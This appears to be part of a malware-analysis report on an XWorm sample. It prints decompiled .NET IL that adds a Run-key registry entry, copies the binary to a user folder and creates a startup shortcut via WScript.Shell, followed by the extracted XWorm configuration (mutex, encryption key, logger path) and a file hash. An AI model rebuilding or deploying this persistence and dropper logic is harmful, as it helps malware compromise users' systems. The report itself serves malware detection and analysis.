My.W7vvbfYvrJBi17CU3js1caO4r6z1BUqOBeAty8f0BudBiRCKQxuR8fbEqPZrvHMa9TP559xqrdBm715S752vhFV3nxf My.VvNJUb5ZKBnAvDM12ZBQnZH1G1ZlRQMh7ZJ6Tfo2tCPfxqurXrxKXa8NtN08aI47l5ylCm6EtJdfChdFxlP10pn6tbC::8b1f4csTqNNVPsxET4x3mkRnKSLG33cG9ImyJCOc3UieWRj4LqHs7rmjC7ERh4ZYGGioFk8aDyFKZoCLHgxtaqU6PRj() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.s V_10 callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) ldloc.s V_10 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0242: ldc.i4 1000 ldloc.s V_10 newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_11 ldloc.s V_11 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.s V_10 ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_026E: leave.s IL_027F dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_12 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_026E: leave.s IL_027F leave.s IL_027F: ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_027F: ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O ldsfld System.String vi8JCP1sDEmDGeKLDUIuuJ9HiJ6eLkMj4::UtjoWSFBcxQoQavgL66vEBGMpbUFVzB6O ldstr \ ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_14 ldloc.s V_14 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_02B3: ldc.i4 1000 ldloc.s V_14 newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_16 ldloc.s V_16 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.s V_14 ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_02DF: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_17 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02DF: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String Stub.NoMEDsZE1VzAc6HSgo::p8YNKyZRQX5hGM8NeM call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_15 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> ldloc.s V_15 stelem.ref <null> ldloc.s V_20 stloc.s V_21 ldloc.s V_21 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_22 ldloc.s V_22 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_22 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_22 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0364: stloc.s V_23 ldloc.s V_21 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_15 stloc.s V_23 ldloc.s V_23 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_24 ldloc.s V_24 ldc.i4.0 <null> ldloc.s V_14 stelem.ref <null> ldloc.s V_24 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_23 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_24 ldloc.s V_24 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_24 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_23 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_23 ldloc.s V_15 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.NoMEDsZE1VzAc6HSgo::SFN3XolQVLo0WyfILS leave.s IL_03E4: call System.Void Stub.NoMEDsZE1VzAc6HSgo::BMXzEoz06jbJs2RMey() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_18 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_03E4: call System.Void Stub.NoMEDsZE1VzAc6HSgo::BMXzEoz06jbJs2RMey() call System.Void Stub.NoMEDsZE1VzAc6HSgo::BMXzEoz06jbJs2RMey() ldnull <null> ldftn System.Void Stub.zEzXC2wlUuBGQhUWbRymoIMMJkfLWPnNk::WqhsL4IRKcNb5uLLlbmbR5W552Nu5b0PY() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.89t4dc55orVstlWhXP4b2d2Tfmk66aZYv::sfOrUnTCpri7x6aREoGmn1iSLNo8YgDQt() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_0410: ldnull call System.Void Stub.YmvXNgXpQYbwH5MLGY::xNLjVGsfKbONwdCGNd() ldnull <null> ldftn System.Void Stub.zEzXC2wlUuBGQhUWbRymoIMMJkfLWPnNk::PWG2t8aPPH0wjrOM6GzZO7Dhp7MHQ8x1A() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.zEzXC2wlUuBGQhUWbRymoIMMJkfLWPnNk::mTNz9osv1SFzMyVPDaVDolqoeJcFWwrBK() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Artefacts
Name
Value
Mutex

%Temp%

236ce5feeb9cefb3cda409723bdb6e12 (68.1 KB)
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Characteristics
Malware Configuration - XWorm config.
Config. Field
Value
Mutex

%Temp%

KEY

8eg2G1Ux3M7iGR77FRkJTw==

USBNM

MSYjGTBGPWEv3V6yiH2cwQ==

LoggerPath

%Temp%

family

xworm

Artefacts
Name
Value Location
Mutex

%Temp%

Malicious

236ce5feeb9cefb3cda409723bdb6e12

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